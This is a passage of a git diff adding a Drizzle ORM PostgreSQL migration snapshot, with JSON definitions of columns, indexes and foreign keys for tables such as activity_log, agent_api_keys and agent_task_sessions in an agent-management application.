+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/0222_snapshot.json b/packages/db/src/migrations/meta/0222_snapshot.json
new file mode 100644
index 00000000000..ffe12fee54a
--- /dev/null
+++ b/packages/db/src/migrations/meta/0222_snapshot.json
@@ -0,0 +1,39714 @@
+{
+  "id": "0df620d7-2e5a-4304-a98e-36c8bc550010",
+  "prevId": "8f54003b-ed12-4ab6-a3f3-c30b4284bcc7",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
